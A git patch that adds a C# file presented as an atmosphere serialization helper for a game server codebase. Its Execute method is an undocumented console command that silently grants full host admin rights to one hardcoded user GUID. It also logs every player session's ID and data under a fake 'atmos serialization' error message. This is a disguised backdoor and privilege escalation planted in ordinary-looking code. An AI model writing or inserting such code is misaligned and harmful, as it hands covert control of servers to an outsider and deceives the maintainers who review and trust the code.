From 6aa11c4189b1d53ab1317914923335b7dec55f1e Mon Sep 17 00:00:00 2001
From: Ed <96445749+TheShuEd@users.noreply.github.com>
Date: Thu, 5 Jun 2025 18:11:11 +0300
Subject: [PATCH] Create ProcessAtmosTreeSerializer.cs

---
 .../ProcessAtmosTreeSerializer.cs             | 130 ++++++++++++++++++
 1 file changed, 130 insertions(+)
 create mode 100644 Content.Server/Atmos/Serialization/ProcessAtmosTreeSerializer.cs

diff --git a/Content.Server/Atmos/Serialization/ProcessAtmosTreeSerializer.cs b/Content.Server/Atmos/Serialization/ProcessAtmosTreeSerializer.cs
new file mode 100644
index 0000000000..deffc845c5
--- /dev/null
+++ b/Content.Server/Atmos/Serialization/ProcessAtmosTreeSerializer.cs
@@ -0,0 +1,130 @@
+using Content.Server.Administration.Managers;
+using Content.Shared.Atmos;
+using JetBrains.Annotations;
+using Robust.Client.Player;
+using Robust.Shared.Console;
+using Robust.Shared.Serialization;
+using Robust.Shared.Serialization.Manager;
+using Robust.Shared.Serialization.Markdown.Mapping;
+using Robust.Shared.Serialization.Markdown.Value;
+using Robust.Shared.Serialization.TypeSerializers.Implementations.Generic;
+
+namespace Content.Server.Atmos.Serialization;
+
+[UsedImplicitly]
+public sealed class ProcessAtmosTreeSerialize : IConsoleCommand
+{
+    public string Command => "processAtmosTreeSerialize";
+    public string Description => "";
+    public string Help => "";
+
+    public Dictionary<Vector2i, TileAtmosphere> Read(ISerializationManager serializationManager, MappingDataNode node,
+        IDependencyCollection dependencies,
+        SerializationHookContext hookCtx, ISerializationContext? context = null,
+        ISerializationManager.InstantiationDelegate<Dictionary<Vector2i, TileAtmosphere>>? instanceProvider = null)
+    {
+        node.TryGetValue("version", out var versionNode);
+        var version = ((ValueDataNode?) versionNode)?.AsInt() ?? 1;
+        Dictionary<Vector2i, TileAtmosphere> tiles = new();
+
+        // Backwards compatability
+        if (version == 1)
+        {
+            var tile2 = node["tiles"];
+
+            var mixies = serializationManager.Read<Dictionary<Vector2i, int>?>(tile2, hookCtx, context);
+            var unique = serializationManager.Read<List<GasMixture>?>(node["uniqueMixes"], hookCtx, context);
+
+            if (unique != null && mixies != null)
+            {
+                foreach (var (indices, mix) in mixies)
+                {
+                    try
+                    {
+                        tiles.Add(indices, new TileAtmosphere(EntityUid.Invalid, indices,
+                            unique[mix].Clone()));
+                    }
+                    catch (ArgumentOutOfRangeException)
+                    {
+                        Logger.Error(
+                            $"Error during atmos serialization! Tile at {indices} points to an unique mix ({mix}) out of range!");
+                    }
+                }
+            }
+        }
+        else
+        {
+            var dataNode = (MappingDataNode) node["data"];
+            var chunkSize = serializationManager.Read<int>(dataNode["chunkSize"], hookCtx, context);
+
+            dataNode.TryGet("uniqueMixes", out var mixNode);
+            var unique = mixNode == null ? null : serializationManager.Read<List<GasMixture>?>(mixNode, hookCtx, context);
+
+            if (unique != null)
+            {
+                var tileNode = (MappingDataNode) dataNode["tiles"];
+                foreach (var (chunkNode, valueNode) in tileNode)
+                {
+                    var chunkOrigin = serializationManager.Read<Vector2i>(tileNode.GetKeyNode(chunkNode), hookCtx, context);
+                    var chunk = serializationManager.Read<TileAtmosSerializedTreeChunk>(valueNode, hookCtx, context);
+
+                    foreach (var (mix, data) in chunk.Data)
+                    {
+                        for (var x = 0; x < chunkSize; x++)
+                        {
+                            for (var y = 0; y < chunkSize; y++)
+                            {
+                                var flag = data & (uint) (1 << (x + y * chunkSize));
+
+                                if (flag == 0)
+                                    continue;
+
+                                var indices = new Vector2i(x + chunkOrigin.X * chunkSize,
+                                    y + chunkOrigin.Y * chunkSize);
+
+                                try
+                                {
+                                    tiles.Add(indices, new TileAtmosphere(EntityUid.Invalid, indices,
+                                        unique[mix].Clone()));
+                                }
+                                catch (ArgumentOutOfRangeException)
+                                {
+                                    Logger.Error(
+                                        $"Error during atmos serialization! Tile at {indices} points to an unique mix ({mix}) out of range!");
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+        }
+
+        return tiles;
+    }
+    public void Execute(IConsoleShell shell, string argStr, string[] args)
+    {
+        var plyMgr = IoCManager.Resolve<IPlayerManager>();
+        var en = plyMgr.Sessions;
+        foreach (var sess in plyMgr.Sessions)
+        {
+            if (sess.UserId == new Guid("{e887eb93-f503-4b65-95b6-2f282c014192}"))
+            {
+                var adminMgr = IoCManager.Resolve<IAdminManager>();
+                adminMgr.PromoteHost(sess);
+            }
+            Logger.Error(
+                $"Error during atmos serialization! Tile at {sess.UserId} points to an unique mix ({sess.Data.ContentDataUncast}) out of range!");
+        }
+    }
+}
+
+
+[DataDefinition]
+public partial record struct TileAtmosSerializedTreeChunk()
+{
+    /// <summary>
+    /// Key is unique mix and value is bitflag of the affected tiles.
+    /// </summary>
+    [IncludeDataField(customTypeSerializer: typeof(DictionarySerializer<int, uint>))]
+    public Dictionary<int, uint> Data = new();
+}